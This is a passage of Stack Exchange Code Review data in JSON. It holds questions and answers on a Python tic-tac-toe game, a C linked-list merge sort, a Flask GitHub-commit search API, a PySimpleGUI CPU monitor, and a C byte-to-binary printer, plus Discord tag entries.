if a1 == 'O' and a2 == 'O' and a3 == 'O' or b1 == 'O' and b2 == 'O' and b3 == 'O' or c1 == 'O' and c2 == 'O' and c3 == 'O' or a1 == 'O' and b1 == 'O' and c1 == 'O' or a2 == 'O' and b2 == 'O' and c2 == 'O' or a3 == 'O' or b3 == 'O' or c3 == 'O' or a1 == 'O' and b2 == 'O' and c3 == 'O' or c1 == 'O' and b2 == 'O' and a3 == 'O':
print()
print_board(board)
print()
print('Player 2 wins!')
win = True
if a1 != ' ' and a2 != ' ' and a3 != ' ' and b1 != ' ' and b2 != ' ' and b3 != ' ' and c1 != ' ' and c2 != ' ' and c3 != ' ':
print('It\'s a tie!')
break
</code></pre>
|
[] |
[
{
"body": "<p>Naming of variables is perfect and you are following the python convention - and that is really good because it makes the code easier to read.</p>\n<p>I've executed the code and I've noticed that when you insert an invalid input two things may happen</p>\n<ol>\n<li>Input "1A"; Output: "Invalid format. That spot is already taken."</li>\n<li>Input "X"; Output: Application crash</li>\n</ol>\n<p>So that's a bug that we need to address.</p>\n<p>Biggest problems in the code are</p>\n<ol>\n<li>Use of global scope (that is, putting variables outside of methods)</li>\n<li>Code duplication</li>\n</ol>\n<p>About the first one, we need to put everything inside a method. This is better because you will constraint the scope of variables, make things easier to read and the intention of each line will be clearer. Also it's always better to define all the methods at the beginning and then the code that needs to be executed (that should be in a <code>main</code> method, normally).</p>\n<p>If I would do it I would create a <code>Board</code> <code>class</code> but there is no particular reason to use Object Oriented Programming here so I will try to follow your way of reasoning.</p>\n<p>At first we are initializing the board so</p>\n<pre><code>def create_board():\n board = []\n for _ in range(3):\n board.append([' '] * 3)\n return board\n</code></pre>\n<p>You were not actually using the <code>x</code> variable in the loop so I've renamed to _, which is a convention to say that you're not actually interested in that variable. To have magic numbers, like 3 in this case, is bad because someday you may ask "Why 3?". Now it pretty obvious, but it might get more complex, an easy way to fix that is</p>\n<pre><code>def create_board(size=3):\n board = []\n for _ in range(size):\n board.append([' '] * size)\n return board\n</code></pre>\n<p>The behavior is the same but now everybody will know what is 3. Is quite useless to have a parametric sized board, because you can play Tic-Tac-Toe only with 3x3 boards, but I'm using that as a way to show you how to be prepared for later improvements (Connect-Four? :) ).</p>\n<p>Now let's print the board. You're code was actually pretty good, I wanted to add a variable size board because, in your code, you're using the fact that the board is 3x3 in many hidden ways. (For example <code>if dashes <= 1:</code>).</p>\n<pre><code>def print_board(board):\n board_size = len(board)\n cols = [chr(i) for i in range(ord('A'), ord('A') + board_size)]\n print()\n print(f" {' '.join(cols)}")\n print()\n row_label = 1\n for row in board:\n print(row_label, ' ', ' | '.join(row))\n if row_label < board_size:\n print(' ', ' -' * (2 * board_size))\n row_label += 1\n print()\n</code></pre>\n<p><code>x</code> became <code>row_label</code> because that what it is. I've added the <code>print()</code> before and after, because they are, in fact, part of the print of the board.</p>\n<p>The <code>split</code> method is not useful, characters in <code>string</code> can be already accessed by index. So we can get rid of it and the game will work as before.</p>\n<p>As I was saying, there a few duplications in the code, and they are in the game loop, let's try to refactor that part, starting from the user input:</p>\n<pre><code>def ask_value(player_name, player_symbol, board):\n board_size = len(board)\n while True:\n player_input = input(f"{player_name}, where would you like to place a {player_symbol}").lower()\n try:\n col_let = player_input[0]\n row = int(player_input[1]) - 1 # [REVIEW COMMENT] we use 0 based indexes, the user doesn't\n col = int(ord(col_let) - ord('a'))\n if (not (0 <= col < board_size)) or (not (0 <= row < board_size)):\n raise ValueError("Index out of board")\n if board[row][col] != ' ':\n print('That spot is already taken.')\n raise ValueError("Spot already taken")\n return row, col\n except (ValueError, IndexError):\n print('Invalid format.')\n</code></pre>\n<p>This method will replace the duplication of code for the input. I've added a range check to avoid going outside of the board and now the input validation bug is fixed.\nAvoid to use non-zero based index; it is not the normal approach and you will get rid of all those <code>- 1</code> all over the code.</p>\n<p>The part where you check who won is a bit cumbersome and is using more developer time than cpu time (how long it took to check all the boolean conditions? :) ) also it doesn't scale with the board size (I understand that this wasn't a problem for you).</p>\n<p>I'm not going to write how to check who won but I will suggest you a way to structure your code:</p>\n<pre><code>def check_winner(board, symbol):\n if check_rows(board, symbol):\n return symbol\n if check_cols(board, symbol):\n return symbol\n if check_diagonals(board, symbol):\n return symbol\n if check_tie():\n return '#'\n return None\n\n</code></pre>\n<p>So the main loop will become:</p>\n<pre><code>def main():\n board = create_board()\n print('This is Tic Tac Toe.')\n print('Player 1 will be X and Player 2 will be O.')\n players = [{"name": "Player 1", "symbol": "X"}, {"name": "Player 2", "symbol": "O"}]\n end = False\n while not end: # [REVIEW COMMENT] this is more pythonish than "win != True"\n print_board(board)\n for player in players:\n symbol = player["symbol"]\n row, col = ask_value(player["name"], symbol, board)\n board[row][col] = symbol\n winning_symbol = check_winner(board, symbol)\n if winning_symbol == '#':\n print("It is a tie!")\n end = True\n break\n elif winning_symbol:\n print(f"{player['name']} has won!!")\n end = True\n break\n\nif __name__ == '__main__':\n main()\n\n\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T18:26:00.797",
"Id": "513377",
"Score": "0",
"body": "How does the check winner work? Don't I still have to write out all the booleans?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T19:13:26.177",
"Id": "513379",
"Score": "1",
"body": "@user Yes and no. You have to check each cell to be sure whether someone has won or not, but you don't have to write down each cell. Imagine that you are playing Connect Four in a gigantic board, how would you do that? Tic-Tac-Toe is easier because you can just check that the whole row/column/diagonal is equal to a symbol."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T11:37:06.550",
"Id": "260117",
"ParentId": "260084",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "260117",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-27T19:23:20.600",
"Id": "260084",
"Score": "3",
"Tags": [
"python",
"beginner",
"python-3.x",
"game",
"tic-tac-toe"
],
"Title": "Tic Tac Toe in Python 3.x"
}
|
260084
|
<p>I previously implemented a Merge Sort for arrays, so after fixing up my code for the array-based merge sort I have now implemented a merge sort for a basic singly-linked list data structure which only contains the pointer to the data and a pointer to the next "Node". I have tried to use the advice given on the previous post (/q/260010) to help in my endeavor this time around. There are three things I did not change in my current code or my previous code; let me explain my reasoning:</p>
<ol>
<li><s>Deceleration</s> Declaration and initialization of variables are done separately as I use C90, from habit.</li>
<li>I am used to using the <code><stdint.h></code> header to write all my code using fixed-width types, so I usually use that for the functions such as <code>merge_sort</code> as for it to stay consistent across platforms. While the user code is written using "int", "short", "char" to emulate a sort of user code feel.</li>
<li>I learned to use space for programming instead of tab, and we were told to do 3 spaces, how many space do you recommend 2, 3, 4, or X amount?</li>
</ol>
<p>Any advice on how to improve my code will help; hopefully this implementation is much better as I have read up online and have been informed that merge sort is usually preferred for linked list and large sets of data.</p>
<p>TLDR - please advise on how to improve my implementation of merge sort for the linked list version. And how many spaces do you use for indentation?</p>
<pre><code>#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
struct Node{
void *data;
struct Node* next;
};
/*triple ref pointer are really cool as you don't need two pointers*/
int32_t split_list(struct Node *current, struct Node **front, struct Node **middle)
{
uint32_t length, length_of_middle;
struct Node *current_temp = current;
struct Node **triple_ref = &current;
if(current == NULL)
{
*front = *middle = NULL;
return -1;
}
*front = current;
*middle = current;
length = length_of_middle = 0;
while(current_temp != NULL)
{
current_temp = current_temp->next;
length++;
}
while(length_of_middle < length / 2)
{
triple_ref = &((*triple_ref)->next);
length_of_middle++;
}
*middle = *triple_ref;
*triple_ref = NULL;
return 0;
}
int32_t merge_sort(struct Node **head, int compare(const void *, const void *))
{
struct Node *front, *middle;
struct Node temp;
struct Node *current = &temp;
if(head == NULL)
{
return -1;
}
else if((*head)->next == NULL)
{
return 0;
}
split_list(*head, &front, &middle);
merge_sort(&front, compare);
merge_sort(&middle, compare);
while(front != NULL && middle != NULL)
{
if(compare(front, middle) <= 0)
{
current->next = front;
front = front->next;
current = current->next;
}
else
{
current->next = middle;
middle = middle->next;
current = current->next;
}
}
if(front != NULL)
{
while(front != NULL)
{
current->next = front;
front = front->next;
current = current->next;
}
}
else
{
while(middle != NULL)
{
current->next = middle;
middle = middle->next;
current = current->next;
}
}
*head = temp.next;
return 0;
}
/*user code*/
int compare(const void *ptr1, const void *ptr2)
{
const struct Node *node1, *node2;
node1 = ptr1;
node2 = ptr2;
return *(int *)(node1->data) - *(int *)(node2->data);
}
void print_list(const struct Node *node)
{
printf("\n");
while(node != NULL)
{
printf("%d ", *(int *)(node->data));
node = node->next;
}
printf("\n");
}
int32_t push_list(struct Node **head, void *val, const size_t size_of_element)
{
struct Node *node;
if(head == NULL)
{
return -1;
}
node = malloc(sizeof(*node));
if(node == NULL)
{
return -1;
}
/*copy data*/
node->data = malloc(size_of_element);
if(node->data == NULL)
{
free(node);
return -1;
}
memcpy(node->data, val, size_of_element);
node->next = NULL;
/*insertion*/
if(*head != NULL)
{
struct Node *current;
current = *head;
while(current->next != NULL)
{
current = current->next;
}
current->next = node;
return 0;
}
*head = node;
return 0;
}
void free_list(struct Node *head)
{
struct Node *temp;
while(head != NULL)
{
temp = head;
head = head->next;
free(temp->data);
free(temp);
}
}
int main(void)
{
struct Node *head;
struct Node *front, *middle;
int i;
i = 10;
/* i = 666;*/
/*add values*/
head = front = middle = NULL;
for(; i > -1; i--)
{
push_list(&head, &i, sizeof(i));
}
i = 10;
push_list(&head, &i, sizeof(i));
i = -1;
push_list(&head, &i, sizeof(i));
/*print sort print*/
print_list(head);
merge_sort(&head, &compare);
print_list(head);
free_list(head);
return 0;
}
</code></pre>
|
[] |
[
{
"body": "<ul>\n<li><p>No naked loops. Every loop represents an important algorithm, and as such deserves a name. For example, the loops in <code>split_list</code> really are</p>\n<pre><code> uint32_t list_length(struct Node *);\n</code></pre>\n<p>and</p>\n<pre><code> struct Node * advance(struct Node *, uint32_t);\n</code></pre>\n</li>\n<li><p><code>split_list</code> is a bit more complicated than necessary. The fact that <code>front</code> becomes <code>current</code> is known in advance. Do we really need to pass it?</p>\n<p>Similarly, I don't see the reason for <code>triple_ref</code> to be a <code>**</code> (BTW, the name is really confusing - why <em>triple</em>?).</p>\n<p>All that said, consider</p>\n<pre><code> struct Node * split_list(struct Node * current)\n {\n if (current == NULL) {\n return MULL;\n }\n uint32_t half_length = list_length(current) / 2;\n struct Node * pre_middle = advance(current, half_length);\n struct Node * middle = pre_middle->next;\n pre_middle->next = 0;\n return middle;\n }\n</code></pre>\n</li>\n<li><p>I don't see the reason to for <code>merge_sort</code> to return an integer. This value is never tested anyway. It is much more natural to return <code>head</code>:</p>\n<pre><code> struct Node * merge_sort(struct Node * head, int compare(const void *, const void *));\n</code></pre>\n</li>\n<li><p>There is no need to loop over the unmerged remains of the lists. They are already good, and we don't care about <code>current</code> any more.</p>\n<pre><code> if (front != NULL) {\n current->next = front;\n } else {\n current->next = middle;\n }\n</code></pre>\n</li>\n<li><p><code>current = current->next</code> is performed in both <code>if</code> and <code>else</code> branches of merging. Lift it out.</p>\n</li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T02:34:01.200",
"Id": "513298",
"Score": "0",
"body": "The reason I use the \"triple_ref\" as name was because of this video. https://www.youtube.com/watch?v=0ZEX_l0DFK0&t=409s&ab_channel=Computerphile\nby Computerphile. And that is my bad as its more of a concept as compared to an actual triple ref pointer."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T00:40:06.867",
"Id": "260094",
"ParentId": "260087",
"Score": "1"
}
},
{
"body": "<blockquote>\n<p>I learned to use space for programming instead of tab, and we were told to do 3 spaces, how many space do you recommend 2, 3, 4, or X amount?<br />\nAnd how many space do you use when programming?</p>\n</blockquote>\n<p>This is a style issue and best to follow your group's coding standard which apparently is 3. I use 2.</p>\n<p>A good coding environment allows you to change the indent on the entire file quickly with a set-up option and invoking that auto formatter.</p>\n<p>If you are manually editing for the correct indentation, you are inefficient. Use an auto-formatter.</p>\n<hr />\n<blockquote>\n<p>Deceleration ....</p>\n</blockquote>\n<p>Whoa, <a href=\"https://www.merriam-webster.com/dictionary/decelerate\" rel=\"nofollow noreferrer\">slow down</a> there . Did you mean <em>Declaration</em>?</p>\n<hr />\n<p><strong>Namespace</strong></p>\n<p>Rather than</p>\n<pre><code>struct Node{\nint32_t split_list()\nint32_t merge_sort()\nvoid print_list()\nint32_t push_list()\nvoid free_list()\n</code></pre>\n<p>Consider a uniform naming</p>\n<pre><code>struct DList {\nint32_t DList_split()\nint32_t DList_merge_sort()\nvoid DList_print()\nint32_t DList_push()\nvoid DList_free()\n</code></pre>\n<p>Form a <code>DList.h</code> header file and segregate your <code>DList</code> functions into a <code>DList.c</code> file.</p>\n<p><strong>Weak compare</strong></p>\n<p><code>*(int *)(node1->data) - *(int *)(node2->data)</code> risks UB and an incorrect result when the subtraction incurs overflow.</p>\n<p>Instead:</p>\n<pre><code>int i1 = *(int *)(node1->data);\nint i2 = *(int *)(node2->data);\nreturn (i1 > i2) - (i1 < i2);\n</code></pre>\n<p><strong><code>int</code> vs. <code>int32_t</code> vs ....</strong></p>\n<p>I see little value is using <code>int32_t</code> here. Recommend reworking code to <code>size_t</code> for a type that relates to array indexing and <code>int/bool</code> for a simple success flag.</p>\n<p><strong>Minor: <code>()</code> not needed</strong></p>\n<p>Style issue:</p>\n<pre><code>// node = malloc(sizeof(*node));\nnode = malloc(sizeof *node);\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T06:59:25.460",
"Id": "513316",
"Score": "0",
"body": "Sorry, I fixed the typo in the question, spoiling your pun..."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T15:29:58.467",
"Id": "513369",
"Score": "0",
"body": "Got it. I need to change my functions name for the linked list for it to be more consistent! By the way Nice pun, I do need to slow down."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T06:06:16.990",
"Id": "260100",
"ParentId": "260087",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-27T21:15:13.800",
"Id": "260087",
"Score": "2",
"Tags": [
"algorithm",
"c",
"linked-list",
"pointers",
"mergesort"
],
"Title": "Merge Sort for Linked List Criticism in C"
}
|
260087
|
<p>This code should query the github api and filter, out of the last 1000 commits, which ones include and exclude certain words from the top 3 repositories in a given organization.</p>
<p>For example, I could query the endpoint <code>/search</code> with parameters such as <code>org:facebook</code> and <code>include:fixed</code> <code>exclude:try</code>. This should then return, out of the 3 most popular facebook repositories, and out of the 1000 most recent commits, the commit messages which include and exclude <code>fixed</code> and <code>try</code>, respectively.</p>
<pre><code>from flask import Flask, request
import requests
import json
app = Flask(__name__)
NUM_REPOS = 3
MAX_PER_PAGE = 100
NUM_PAGES = 10
HEADERS = {"Accept": "application/vnd.github.cloak-preview"}
def get_matches():
if request.method == 'POST':
try:
org = request.get_json()["org"]
include = request.get_json()["include"]
word_to_ignore = request.get_json()["ignore"]
except:
return {"error": "your request is missing the 'org', 'include' or 'ignore' parameters"}
repo_data = requests.get( f"https://api.github.com/search/repositories?q=org:{org}&sort=stars&order=desc&per_page={NUM_REPOS}").content
repo_data_dict = json.loads(repo_data.decode('utf-8'))
if not "items" in repo_data_dict:
if "errors" in repo_data_dict:
return {"invalid_organization": f"{org} does not exist or doesn't have any repositories"}
else:
return {"reached_api_limit": True}
else:
repo_list = repo_data_dict["items"]
matches = []
for repo in repo_list:
repo_info = {}
repo_name = repo["name"]
repo_info["repo"] = repo_name
page = 1
items_exist = True
total_count = 0
while (items_exist and page <= NUM_PAGES):
commits = requests.get( f"https://api.github.com/search/commits?q={include} repo:{org}/{repo_name}&per_page={MAX_PER_PAGE}&page={page}", headers=HEADERS).content
commits = json.loads(commits.decode('utf-8'))
if "message" in commits:
matches.append({"reached_api_limit": True})
return {"matches": matches}
if "items" in commits and len(commits["items"]) > 0 and (page == 1 or commits["total_count"] > page-1 * MAX_PER_PAGE):
for commit in commits["items"]:
if word_to_ignore in commit["commit"]["message"]:
continue
repo_info["message"] = commit["commit"]["message"]
matches.append(repo_info)
if commits["total_count"] < MAX_PER_PAGE:
items_exist = False
else:
items_exist = False
page += 1
return {"matches": matches}
@ app.route('/search', methods=['POST'])
def example():
return get_matches()
if __name__ == '__main__':
app.run()
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T13:57:17.937",
"Id": "513479",
"Score": "0",
"body": "Does the code work as expected?"
}
] |
[
{
"body": "<p><code>if request.method == 'POST':</code> is redundant; delete it.</p>\n<p>Your</p>\n<blockquote>\n<p>your request is missing the 'org', 'include' or 'ignore' parameters</p>\n</blockquote>\n<p>is less than helpful. Why not tell the user exactly what they're missing?</p>\n<p>This <code>except</code> block:</p>\n<pre><code> try:\n org = request.get_json()["org"]\n include = request.get_json()["include"]\n word_to_ignore = request.get_json()["ignore"]\n\n except:\n return {"error": "your request is missing the 'org', 'include' or 'ignore' parameters"}\n</code></pre>\n<p>will tell the user that their request is missing a parameter even if the server runs out of memory, or the entire payload is the string <code>banana</code> instead of a well-formed JSON body; or someone attaches the server process to a console and presses Ctrl+C to break it. Are you sure that all three of these exceptions constitute the user having submitted a well-formed JSON payload missing one or more keys? Never bare <code>except:</code>.</p>\n<p>Move your query string parameters into a <code>params</code> dictionary sent to requests.</p>\n<p>This:</p>\n<pre><code> if not "items" in repo_data_dict:\n if "errors" in repo_data_dict:\n return {"invalid_organization": f"{org} does not exist or doesn't have any repositories"}\n else:\n return {"reached_api_limit": True}\n</code></pre>\n<p>is a wild and crazy guess. What if 'errors' told you that the server is down for maintenance, or you submitted a malformed payload, or the endpoint is deprecated? You need to pay attention to the contents of the error message given to you.</p>\n<p>Don't <code>json.loads</code> here. Just call <code>.json()</code> on the response.</p>\n<p>Be sure to check for HTTP error conditions via <code>response.raise_for_status()</code>.</p>\n<p>You need to break up <code>get_matches</code> into multiple methods.</p>\n<p>You need to improve separation of concerns - <code>get_matches</code> returns dictionaries intended for consumption by the REST API, but that shouldn't be done in that function - payload dictionary formation should be done above, in the Flask handler function. To indicate errors, you can throw your own exceptions, catch them in the method above and add that to the response dictionary. To indicate whether you hit the API limit, you can add a boolean to your return tuple.</p>\n<p><code>total_count</code> is unused; delete it.</p>\n<p>Your response format is flat, and this can be inconvenient and inefficient to consume on the client side. Instead consider a dictionary of repositories, each value being a list of messages, rather than adding the repo name to every response element.</p>\n<p>This check:</p>\n<pre><code> if commits["total_count"] < MAX_PER_PAGE:\n items_exist = False\n</code></pre>\n<p>seems to exist at the wrong level of indentation, since it applies to <code>commits</code> in general and not the current iterated <code>commit</code>.</p>\n<p>This:</p>\n<pre><code>commits["total_count"] > page-1 * MAX_PER_PAGE\n</code></pre>\n<p>almost certainly does not do what you want, since it's doing</p>\n<pre><code>page - (1*MAX_PER_PAGE)\n</code></pre>\n<p>and not</p>\n<pre><code>(page - 1)*MAX_PER_PAGE\n</code></pre>\n<p>so add parens as appropriate.</p>\n<p>Some of the above suggestions baked into an example:</p>\n<pre><code>from pprint import pprint\nfrom typing import List, Tuple\n\nimport requests\n\nNUM_REPOS = 3\nMAX_PER_PAGE = 100\nNUM_PAGES = 10\nHEADERS = {"Accept": "application/vnd.github.cloak-preview"}\n\n\nclass InvalidOrganizationError(Exception):\n pass\n\n\nclass APILimitError(Exception):\n pass\n\n\n# @app.route('/search', methods=('POST',))\ndef handle_search() -> dict:\n payload = request.get_json()\n\n try:\n org = payload['org']\n except KeyError:\n return {'error': 'Missing the "org" parameter'}\n\n try:\n include = payload['include']\n except KeyError:\n return {'error': 'Missing the "include" parameter'}\n\n try:\n word_to_ignore = payload['word_to_ignore']\n except KeyError:\n return {'error': 'Missing the "word_to_ignore" parameter'}\n\n matches, api_limited = get_matches(org, include, word_to_ignore)\n return {'matches': matches, 'reached_api_limit': api_limited}\n\n\ndef get_repo(org: str) -> dict:\n with requests.get(\n 'https://api.github.com/search/repositories',\n params={\n 'q': f'org:{org}',\n 'sort': 'stars',\n 'order': 'desc',\n 'per_page': NUM_REPOS,\n },\n headers=HEADERS,\n ) as resp:\n resp.raise_for_status()\n repo_data_dict = resp.json()\n\n repo_list = repo_data_dict.get('items')\n if repo_list is not None:\n return repo_list\n\n if 'errors' in repo_data_dict:\n raise InvalidOrganizationError(\n f'{org} does not exist or does not have any repositories'\n )\n raise APILimitError()\n\n\ndef get_commits(org: str, include: str, repo_name: str, page: int) -> dict:\n with requests.get(\n 'https://api.github.com/search/commits',\n params={\n 'q': f'{include} repo:{org}/{repo_name}',\n 'per_page': MAX_PER_PAGE,\n 'page': page,\n },\n headers=HEADERS,\n ) as resp:\n resp.raise_for_status()\n return resp.json()\n\n\ndef get_matches(\n org: str, include: str, word_to_ignore: str,\n) -> Tuple[\n List[object], # All matches\n bool, # Did we hit the API limit?\n]:\n repo_list = get_repo(org)\n\n matches = []\n\n for repo in repo_list:\n messages = []\n repo_info = {'repo': repo['name'], 'messages': messages}\n matches.append(repo_info)\n\n page = 1\n items_exist = True\n\n while items_exist and page <= NUM_PAGES:\n commits = get_commits(org, include, repo['name'], page)\n\n if "message" in commits:\n return matches, True\n\n if "items" in commits and (\n page == 1 or commits["total_count"] > (page-1) * MAX_PER_PAGE\n ):\n for commit in commits["items"]:\n message = commit["commit"]["message"]\n\n if word_to_ignore in message:\n continue\n\n messages.append(message)\n\n else:\n break\n\n if commits["total_count"] < MAX_PER_PAGE:\n items_exist = False\n \n page += 1\n\n return matches, False\n\n\ndef test():\n matches, api_limited = get_matches('microsoft', 'repo', 'fetch')\n pprint(matches)\n\n\nif __name__ == '__main__':\n test()\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-27T23:23:00.290",
"Id": "260092",
"ParentId": "260089",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "260092",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-27T21:50:04.387",
"Id": "260089",
"Score": "2",
"Tags": [
"python",
"json",
"api",
"flask"
],
"Title": "Query the github api and filter the last 1000 commits which include and exclude certain words from the top 3 repositories in a given organization"
}
|
260089
|
<p>As a way to learn PySimpleGUI, and eventually tkinter, I re-implemented a computing cluster CPU load monitor I wrote long ago. I'm looking for any feedback on whether it's well-written, but in particular I have concerns about two areas:</p>
<p>One, whether the organizational structure is correct. As objects, Cluster contains Nodes which contains CPUs makes sense, but should they exist on the same level, or should, say, the ClusterNode class be defined inside the Cluster class?</p>
<p>Two, if the display logic is too tightly integrated with the objects. On the one hand, without displaying anything, the objects have no reason to exist. On the other, this could be easily implemented procedurally with less code overall.</p>
<p>It also probably could do with a little more commenting, but it felt like anything more I had to add was merely restating what the code does.</p>
<p>Thanks for any feedback.</p>
<pre><code>"""
Display load of each CPU in a cluster of nodes, using PySimpleGUI.
A Cluster object contains multiple ClusterNode objects, which in turn
contains multiple NodeCPU objects.
The window layout is: [[<node1 frame>, ..., <nodeN frame>]]
which may be broken up into sublists for multiple rows (NODES_PER_ROW).
A node frame layout is: [[<cpu1 graph>, ..., <cpuN graph>]]
where each CPU graph object is a PySimpleGUI Graph (canvas).
To simulate a real cluster, the load numbers are generated randomly
and vary gradually from interval to interval.
"""
from random import randint
import PySimpleGUI as psg
NODES_PER_CLUSTER = 12
CPUS_PER_NODE = 4
NODES_PER_ROW = 4
graphsize = (30, 100)
colors = ("red", "green", "yellow", "blue")
class NodeCPU:
"""Create an CPU object and define the Graph layout"""
def __init__(self, num):
self.color = colors[num]
self.graph = psg.Graph(graphsize, (0, 0), graphsize)
self._load = 0
@property
def load(self):
"""Adjust the load randomly, bound between 0 and 100"""
self._load += randint(-5, 5)
self._load = max(0, min(self._load, 100))
return self._load
def update_graph(self):
"""Update the graph, shifting the display to the left"""
self.graph.Move(-1, 0)
self.graph.DrawLine((graphsize[0], 0), (graphsize[0], self.load),
width=1, color=self.color)
class ClusterNode:
"""A ClusterNode consists of CPUs and defines the frame layout"""
def __init__(self, num):
self.name = f"node{num+1:02d}"
self.cpus = [NodeCPU(cpu) for cpu in range(CPUS_PER_NODE)]
self.frame = psg.Frame(self.name,
[[cpu.graph for cpu in self.cpus]],
title_location="n")
def __len__(self):
return len(self.cpus)
def __getitem__(self, index):
return self.cpus[index]
class Cluster:
"""A Cluster consists of ClusterNodes and defines the window layout"""
def __init__(self):
# set global options
psg.theme("Black")
psg.SetOptions(element_padding=(0, 0))
self.nodes = [ClusterNode(node) for node in range(NODES_PER_CLUSTER)]
self.layout = [self[node].frame for node in range(NODES_PER_CLUSTER)]
# split the layout into multiple rows
self.layout = self.split_list(self.layout, NODES_PER_ROW)
self.window = psg.Window("Cluster CPU Load", self.layout,
resizable=False, grab_anywhere=True)
self.window.Finalize()
def __len__(self):
return len(self.nodes)
def __getitem__(self, index):
return self.nodes[index]
@staticmethod
def split_list(lst, elements):
"""Split a list into sublists of 'n' elements"""
if not isinstance(elements, int) or elements < 1:
raise ValueError("sublist size must be int > 0")
return [lst[i:i+elements] for i in range(0, len(lst), elements)]
def main():
clust = Cluster()
# event loop; show half the nodes each loop for better performance
odds = True
while True:
event, values = clust.window.read(timeout=75)
if event == psg.WIN_CLOSED:
break
for node in clust[odds::2]:
for cpu in node:
cpu.update_graph()
odds = not odds
clust.window.close()
if __name__ == "__main__":
main()
</code></pre>
|
[] |
[
{
"body": "<p>Code looks nice. I would keep classes on the same level.<br />\nIt seems more readable when you can read smaller part of code.</p>\n<p>But your code looks like mix of <code>Cluster Simulator</code> + <code>GUI Monitor</code> and in real situation they would be two separated elements. You would have some external module with classes to access <code>"hardware"</code> and you would create own classes with <code>GUI</code> - so I would split it in code to make it more real.</p>\n<p>Class <code>NodeCPU</code> would use <code>update()</code> only to update <code>_load</code> and class <code>GUINodeCPU()</code> would keep instance of <code>NodeCPU</code> to get data from <code>_load</code> and display it in graph. Similar situation should be with other classes. All <code>GUI</code> would be in own classes and all <code>"hardware"</code> would be in own classes.</p>\n<p>This way you could use <code>Cluster Simulator</code> with other <code>GUI</code> like <code>tkinter</code>, <code>PyQt</code> or even create <code>Text GUI</code> in console with <code>curses</code> or <code>urwind</code>. Or you could use Web Framework like <code>Flask</code> to create web GUI.</p>\n<hr />\n<p><strong>BTW:</strong> there is system monitoring program <a href=\"https://nicolargo.github.io/glances/\" rel=\"nofollow noreferrer\">Glances</a> created in python and it uses python module <a href=\"https://github.com/giampaolo/psutil\" rel=\"nofollow noreferrer\">psutils</a> for access hardware - and maybe you could use <code>psutil</code> in your GUI.</p>\n<p><code>psutil</code> was used in <a href=\"https://github.com/giampaolo/psutil#projects-using-psutil\" rel=\"nofollow noreferrer\">other programs</a> - ie. facebook created <a href=\"https://github.com/osquery/osquery\" rel=\"nofollow noreferrer\">osquery</a> to access information using SQL queries.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T08:44:32.470",
"Id": "260222",
"ParentId": "260091",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": "260222",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-27T22:34:00.040",
"Id": "260091",
"Score": "2",
"Tags": [
"python",
"python-3.x"
],
"Title": "PySimpleGUI app to monitor cluster CPU load"
}
|
260091
|
<p>Discord is a popular VoIP/IM service. Discord provides an API and hosts your servers for free unlike other popular VoIP software like Mumble and TeamSpeak.</p>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T07:42:54.863",
"Id": "260104",
"Score": "0",
"Tags": null,
"Title": null
}
|
260104
|
For programs interacting with Discord.
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T07:42:54.863",
"Id": "260105",
"Score": "0",
"Tags": null,
"Title": null
}
|
260105
|
<p>I created a quick function to convert <code>n</code> bytes into binary for my student.
She is not on that level yet, but I think it would be best for her if my demonstrative functions aren't trash.</p>
<pre><code>void binary (void* p, size_t nBytes)
{
int iBit = 0;
int iByte = 0;
putchar('[');
for(iByte = 0; iByte < nBytes; iByte++)
{
for(iBit = 0; iBit < CHAR_BIT; iBit++)
{
int bit = ((unsigned char* )p)[iByte] >> iBit;
putchar((bit & 1) ? '1':'0');
}
if(iByte < nBytes-1)
{
printf("]\t[");
}
}
printf("]\n");
}
</code></pre>
<p>it goes with a macro for easier use: <code>#define BINARY(x) binary(&x, sizeof x)</code>
and the obvious disadvantage that it expects a variable and not cannot work with literals.</p>
<ul>
<li>And yes, endianness is explained to her.</li>
</ul>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T19:38:13.870",
"Id": "513520",
"Score": "2",
"body": "Do you really want `\"[]\\n\"` for `binary(0,0)`? How about `\"\\n\"` instead?"
}
] |
[
{
